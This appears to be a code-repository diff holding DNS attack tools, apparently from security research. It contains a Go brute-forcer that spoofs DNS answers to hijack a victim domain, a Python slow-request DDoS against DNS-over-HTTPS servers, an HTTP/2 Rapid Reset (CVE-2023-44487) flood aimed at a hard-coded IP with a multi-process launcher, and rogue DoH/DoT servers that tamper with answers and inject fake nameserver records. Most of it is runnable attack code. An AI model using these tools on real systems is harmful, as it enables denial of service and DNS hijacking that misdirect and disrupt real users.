Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}}
dnsLayer.Answers = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeCNAME,
Class: layers.DNSClassIN,
TTL: 300,
IP: nil,
NS: nil,
CNAME: []byte(victimDNSName),
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}, {
Name: []byte(victimDNSName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
TTL: 300,
/* Fill with any IP you want. The victim domain will be hijacked to this IP. */
IP: net.ParseIP("2001::1234"),
NS: nil,
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err)
}
if debugOutput {
fmt.Println("DNS BruteForce: ", targetPort)
}
startTime := time.Now()
var txid uint16
//try to see if this port is open in reality
for txid = 0; txid < GROUP_SIZE*2; txid++ {
dnsLayer.ID = txid
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err)
}
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
/* This is used for early termination */
//verification packet
//xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0)
//go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60)
//continue brute force
for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ {
/* This is used for early termination */
//if bruteForceCouldBeKilled && bruteForceShouldBeKilled {
// fmt.Println("DNS Brute force aborted")
// break
//}
dnsLayer.ID = txid
err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ DNSBruteForce: ", err)
}
if timegap != 0 {
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
}
//0xffff is missing from packet trace
/* This is used for early termination */
//if !bruteForceShouldBeKilled {
dnsLayer.ID = 0xffff
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err)
}
//}
if debugOutput {
fmt.Println("time: ", time.Now().Sub(startTime))
}
//help to recover the global counter
time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond)
}

View File

@@ -0,0 +1,15 @@
module fakedns6
go 1.20
require (
github.com/google/gopacket v1.1.19
github.com/miekg/dns v1.1.57
)
require (
golang.org/x/mod v0.12.0 // indirect
golang.org/x/net v0.17.0 // indirect
golang.org/x/sys v0.13.0 // indirect
golang.org/x/tools v0.13.0 // indirect
)

View File

@@ -0,0 +1,25 @@
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

View File

@@ -0,0 +1,171 @@
package main
import (
"encoding/binary"
"errors"
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"net"
"time"
)
func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) {
addrs, err := iface.Addrs()
if err != nil {
return nil, errors.New("can not get ip address")
}
var srcIP []net.IP
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To16() != nil {
//check repeat
okToAdd := true
for _, temp := range srcIP {
if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 {
okToAdd = false
break
}
}
if okToAdd {
srcIP = append(srcIP, ipnet.IP.To16())
}
}
}
}
if srcIP == nil || len(srcIP) == 0 {
return nil, errors.New("can not get ip address")
}
return srcIP, nil
}
func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
buffer := gopacket.NewSerializeBuffer()
if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil {
return err
}
return handle.WritePacketData(buffer.Bytes())
}
func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
addrs, err := iface.Addrs()
if err != nil {
return nil, errors.New("can not get ip address")
}
var srcIP net.IP
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To16() != nil {
srcIP = ipnet.IP.To16()
break
}
}
}
if srcIP == nil {
return nil, errors.New("can not get ip address")
}
return srcIP, nil
}
func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) {
srcIP, err := GetIfaceAddr(iface)
if err != nil {
return nil, errors.New("can not get ip address")
}
start := time.Now()
// Prepare the layers to send for an ARP request.
eth := layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
EthernetType: layers.EthernetTypeARP,
}
arp := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv6,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPRequest,
SourceHwAddress: []byte(iface.HardwareAddr),
SourceProtAddress: []byte(srcIP),
DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
DstProtAddress: []byte(gatewayIP),
}
// Send a single ARP request packet (we never retry a send, since this
// is just an example ;)
if err := Send(handle, &eth, &arp); err != nil {
return nil, err
}
// Wait 3 seconds for an ARP reply.
for {
if time.Since(start) > time.Second*3 {
return nil, errors.New("timeout getting ARP reply")
}
data, _, err := handle.ReadPacketData()
if err == pcap.NextErrorTimeoutExpired {
continue
} else if err != nil {
return nil, err
}
packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil {
arp := arpLayer.(*layers.ARP)
if net.IP(arp.SourceProtAddress).Equal(gatewayIP) {
return arp.SourceHwAddress, nil
}
}
}
}
func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int {
temp0 := binary.LittleEndian.Uint32(ip0.To16())
temp1 := binary.LittleEndian.Uint32(ip1.To16())
if temp0 == temp1 {
return 0
}
if temp0 > temp1 {
return 1
}
return -1
}
func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) {
ipLayer := layers.IPv6{
FlowLabel: flowlabel,
SrcIP: srcIP,
DstIP: dstIP,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
}
udpLayer := layers.UDP{
SrcPort: srcPort,
DstPort: dstPort,
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err)
}
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer)
if err != nil {
fmt.Println("xmitUDPv6 can not send packet", err)
}
if timegap != 0 {
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
}

Binary file not shown.

1
5_v6_fake/txid.bin Normal file
View File

@@ -0,0 +1 @@
fH

BIN
5_v6_fake/说明文档.docx Normal file

Binary file not shown.

View File

@@ -0,0 +1,127 @@
import argparse
import http.client
import asyncio
import base64
import random
import secrets
import string
from collections import Counter
import sys
import time
import requests
import dns.message
import httpx
import gzip
import io
import pandas as pd
import tqdm
from concurrent.futures import ThreadPoolExecutor
import threading
from dns.message import make_query
def ge_cookie():
cookie = ""
for i in range(200):
cookie += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(4, 10)))+\
"="''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 20)))+"; "
cookie = cookie[:-2]
#print(sys.getsizeof(cookie)/1024)
return cookie
def send_request(event,url,t,latency,stime):
cookie = ge_cookie()
headers = {"content-type": "application/dns-message",
"accept": "application/dns-message",
"Surrogate-Control": "max-age=0", "Cache-Control": "max-age=0",
"Cookie":cookie}
message = dns.message.make_query(base64.b64encode(url.encode("utf-8")).decode("utf-8") +
''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A")
message.flags |= dns.flags.RD
dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=")
# time.sleep(t*2)
conn = http.client.HTTPConnection(url, port=80)
#time.sleep(3)
body = ','.join([f'{name}: {value}' for name, value in headers.items()])
request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n"
conn.send(request_line.encode())
headers0 = {'host': 'www.doeresearch.site'}
headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()])
conn.send(headers0.encode())
#time.sleep(10)
#body = str(make_query(qname="baidu.com", rdtype="A", want_dnssec=False))
#print(body)
#print(len(body))
chunk_size = 20 # 每个块的大小
for i in range(0, len(body), chunk_size):
#print(i,'------------------')
chunk = body[i:i + chunk_size]
conn.send(f'{chunk}'.encode())
start_time = time.perf_counter()
while time.perf_counter() - start_time < 0.002:
pass
# print('P')
conn.send(b'\r\n')
# 发送结束标志
#print(url, t, 'pending')
desired_time = latency / 2000 # 将毫秒转换为秒
#conn.close()
#time.sleep(10)
event.wait()
# start_time = time.perf_counter()
# while time.perf_counter() - start_time < desired_time:
# pass
#conn.send(b'0\r\n\r\n')
conn.send(b'\r\n')
# Get the response
#response = conn.getresponse()
# print(response.status, response.reason)
#print(response.read())
# print(dns.message.from_wire(response.read()))
#conn.close()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-stime', '--stime')
parser.add_argument('-round', '--round',default=10)
parser.add_argument('-wait', '--wait',default=180)
args = parser.parse_args()
path = '/root/Nora/cdn/'
#path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/'
df = pd.read_csv(path+'fastly_att.csv',nrows=64)
data = df.set_index('ip')['latency'].to_dict()
event = threading.Event()
s_time = time.time()
#stime = time.perf_counter()
stime = float(args.stime)
round = int(args.round)
wait_time = int(args.wait)
threads = []
for i in range(round):
for ip, latency in data.items():
t = threading.Thread(target=send_request, args=(event,ip, i, latency,stime))
t.start()
threads.append(t)
#time.sleep(latency)
start_time = time.perf_counter()
# while time.perf_counter() - start_time < 0.1:
# pass
print('all waiting')
while time.perf_counter() - stime < wait_time:
pass
# 触发事件,同时释放所有线程
event.set()
# 等待所有线程完成
for t in threads:
t.join()
print('ATT over:',time.time() - s_time)
#for i in tqdm.tqdm(range(1000)):
#send_request("151.101.76.204",0,0,0)

View File

@@ -0,0 +1,20 @@
import os
import argparse
import time
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--n', default=3)
parser.add_argument('-round', '--round', default=5)
parser.add_argument('-wait', '--wait', default=150)
args = parser.parse_args()
stime = time.perf_counter()
round = int(args.round)
wait_time = int(args.wait)
for i in range(int(args.n)):
#print(f"python3 cve44487.py -s {i}")
os.popen(f"python att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}")
while True:
current_time = time.perf_counter()
elapsed_time = current_time - stime
print(f"经过的时间:{elapsed_time:.2f}", end="\r")
time.sleep(1) # 暂停一秒钟

Binary file not shown.

Binary file not shown.

152
7_doh_DDoS/cve44487.py Normal file
View File

@@ -0,0 +1,152 @@
import random
import ssl
import string
import sys
import csv
import socket
import argparse
import time
import dns.message
from datetime import datetime
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection
import base64
from dns.message import make_query
import tqdm
from h2.connection import H2Connection
from h2.config import H2Configuration
import h2.events
import httpx
import requests
import asyncio
import warnings
warnings.filterwarnings("ignore")
async def multi_h2(id_start,conn,h2_conn,host,dns_req):
for stream_id in tqdm.tqdm(range(id_start,id_start+1000000,2)):
#print('stream_id',stream_id)
headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'),
(':path', '/dns-query' + '?dns=' + dns_req),
("accept", "application/dns-message"),
("content-type", "application/dns-message")]
#print(headers)
h2_conn.send_headers(stream_id, headers)
conn.send(h2_conn.data_to_send())
h2_conn.reset_stream(stream_id)
conn.send(h2_conn.data_to_send())
def send_rst_stream_h2(host, sid,port=443, uri_path='/dns-query', timeout=5, proxy=None):
"""
Send an RST_STREAM frame to the given host and port.
Parameters:
host (str): The hostname.
port (int): The port number.
stream_id (int): The stream ID to reset.
uri_path (str): The URI path for the GET request.
timeout (int): The timeout in seconds for the socket connection.
proxy (str): The proxy URL, if any.
Returns:
tuple: (status, message)
status: 1 if successful, 0 if no response, -1 otherwise.
message: Additional information or error message.
"""
body = make_query(qname="baidu.com", rdtype="A", want_dnssec=False).to_wire()
#try:
# Create an SSL context to ignore SSL certificate verification
ssl_context = ssl.create_default_context(purpose=ssl.Purpose.SERVER_AUTH)
ssl_context.options |= (
ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3 | ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
)
ssl_context.options |= ssl.OP_NO_COMPRESSION
ssl_context.set_ciphers("ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20")
ssl_context.set_alpn_protocols(['h2'])
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# Create a connection based on whether a proxy is used
conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context)
conn.connect()
#time.sleep(2)
# Initiate HTTP/2 connection
config = H2Configuration(client_side=True)
h2_conn = H2Connection(config=config)
h2_conn.initiate_connection()
conn.send(h2_conn.data_to_send())
#time.sleep(2)
# Send GET request headers
#time.sleep(2)
# Listen for frames and send RST_STREAM when appropriate
#print(sid)
flag = 0
s_time = time.time()
#for stream_id in tqdm.tqdm(range(sid*999999,sid*999999+1000000,2)):
for stream_id in range(sid * 999999, sid * 999999 + 200000, 2):
# flag += 1
# if time.time()-s_time>1:
# print(flag)
# break
# if flag>50:
# data = conn.sock.recv(65535)
# start_time = time.perf_counter()
# while time.perf_counter() - start_time < 0.1:
# pass
#flag = 0
#print('stream_id',stream_id)
suff = base64.b64encode(str(stream_id).encode("utf-8")).decode("utf-8")+ ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
message = dns.message.make_query(f"{suff}.www.baidu.com", "A")
message.flags |= dns.flags.RD
dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=")
headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'),
(':path', uri_path + '?dns=' + dns_req),
("accept", "application/dns-message"),
("content-type", "application/dns-message")]
# headers = [(':method', 'POST'), (':authority', host), (':scheme', 'https'),
# (':path', uri_path),
# ("accept", "application/dns-message"),
# ("content-type", "application/dns-message")]
#print(headers)
h2_conn.send_headers(stream_id, headers)
conn.send(h2_conn.data_to_send())
# h2_conn.send_data(stream_id, body)
# conn.send(h2_conn.data_to_send())
h2_conn.end_stream(stream_id)
conn.send(h2_conn.data_to_send())
# data = conn.sock.recv(100)
# events = h2_conn.receive_data(data)
# print('events:\n', events)
# start_time = time.perf_counter()
# while time.perf_counter() - start_time < 0.05:
# pass
h2_conn.reset_stream(stream_id)
conn.send(h2_conn.data_to_send())
#break
conn.close()
return ("over")
# except Exception as e:
# print('error------------')
# return (-1, f"send_rst_stream_h2 ---- {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--sid',default=1)
args = parser.parse_args()
targets = ["8.218.236.77"]
#targets = ['108.61.195.177']
for i in targets:
now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(now,f"Checking {i}...", file=sys.stderr)
send_rst_stream_h2(i,int(args.sid))
#print("send rst stream:", resp, err2)

View File

@@ -0,0 +1,26 @@
import argparse
import os
import time
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--n', default=1)
args = parser.parse_args()
streams = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19,21,23,25,27,29,31]
for i in streams[:int(args.n)]:
#print(f"python3 cve44487.py -s {i}")
os.popen(f"python cve44487.py -s {i}")
# for j in range(100):
# for i in streams[:int(args.n)]:
# # #print(f"python3 cve44487.py -s {i}")
# os.popen(f"python cve44487.py -s {i}")
# start_time = time.perf_counter()
# while time.perf_counter() - start_time < 0.1:
# pass
# for i in streams[int(args.n):]:
# # #print(f"python3 cve44487.py -s {i}")
# os.popen(f"python cve44487.py -s {i}")
# start_time = time.perf_counter()
# while time.perf_counter() - start_time < 1:
# pass

Binary file not shown.

63
8_doh_fake/fake_DoH.py Normal file
View File

@@ -0,0 +1,63 @@
import argparse
import base64
import ssl
import dns.asyncquery
import dns.rcode
import aiohttp
import dns.message
import dns.rrset
from aiohttp import web
DNS_SERVER_ADDRESS = '223.5.5.5'
DNS_SERVER_PORT = 53
async def doh_handler(request):
if request.method == "GET":
rquery = str(request.query).split(' ')[1]
#print(rquery)
rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=")
doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8")))
else:
try:
doh_request = dns.message.from_wire(await request.read())
except :
return web.Response(text='Invalid DNS request', status=400)
dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype)
dns_request.id = doh_request.id
# 发起DNS请求
dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS)
#print(dns_response)
if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1:
print('---tamper---',tamper)
dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')]
if str(doh_request.question[0].name) == inject:
print('---inject---',inject)
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
#print(dns_response)
# 构建HTTPS响应
response = web.Response(body=dns_response.to_wire())
response.content_type = 'application/dns-message'
return response
parser = argparse.ArgumentParser()
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='39.106.44.126')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
#print('tamper:',tamper)
DOH_SERVER_URL = "https://dns.alidns.com/dns-query"
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt"
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key"
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(CERT_FILE, KEY_FILE)
app = web.Application()
app.router.add_get(path='/dns-query',handler=doh_handler)
app.router.add_post(path='/dns-query',handler=doh_handler)
web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context)

Binary file not shown.

45
9_dot_fake/dot_stub.py Normal file
View File

@@ -0,0 +1,45 @@
import socket
import ssl
import dns.message
import dns.query
import dns.rcode
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
args = parser.parse_args()
print(f'DoT server: {args.dot}')
upstream_server = '47.88.31.213'
# 创建监听socket
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listener.bind(('127.0.0.1', 53))
# 创建TLS连接
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
while True:
# 接收DNS请求
data, addr = listener.recvfrom(1024)
#print(dns.message.from_wire(data))
data = dns.message.from_wire(data)
if 'baidu' in data.question.__str__():
# print(data)
# print(addr)
print('DNS请求', data.question)
# # 创建TLS连接并发送DNS请求到上游服务器
resp = dns.query.tls(
q=data,
where=upstream_server,
timeout=10,
ssl_context=context)
print('DNS响应', resp.answer)
# with socket.create_connection((upstream_server,853)) as sock:
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
# tls_sock.sendall(data.to_wire())
# resp = tls_sock.recv(4096)
# 将上游服务器的响应发送回客户端
listener.sendto(resp.to_wire(), addr)
break

63
9_dot_fake/fake_DoT.py Normal file
View File

@@ -0,0 +1,63 @@
import argparse
import asyncio
import ssl
import socket
import dns.asyncquery
import dns.message
import dns.rcode
import dns.flags
import dns.message
import dns.rrset
from dnslib import DNSRecord
async def handle_client(reader, writer):
request_data = await reader.read(1024)
request = dns.message.from_wire(request_data[2:])
#print(request)
dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype)
dns_request.id = request.id
#print(dns_request)
dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5')
#print(dns_response)
if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1:
print('---tamper---', tamper)
dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')]
if str(request.question[0].name) == inject:
print('---inject---', inject)
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
#print(dns_response)
response_data = dns_response
record_header = len(response_data.to_wire()).to_bytes(2, 'big')
# 构建完整的TLS响应数据
tls_response_data = record_header + response_data.to_wire()
writer.write(tls_response_data)
await writer.drain()
writer.close()
async def start_server():
# 配置服务器参数
listen_address = '0.0.0.0'
listen_port = 853
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
# 创建TCP服务器
server = await asyncio.start_server(
handle_client, listen_address, listen_port, ssl=context)
print(f'DoT server listening on {listen_address}:{listen_port}')
async with server:
await server.serve_forever()
parser = argparse.ArgumentParser()
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='39.106.44.126')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
asyncio.run(start_server())

BIN
test/shuchu Executable file

Binary file not shown.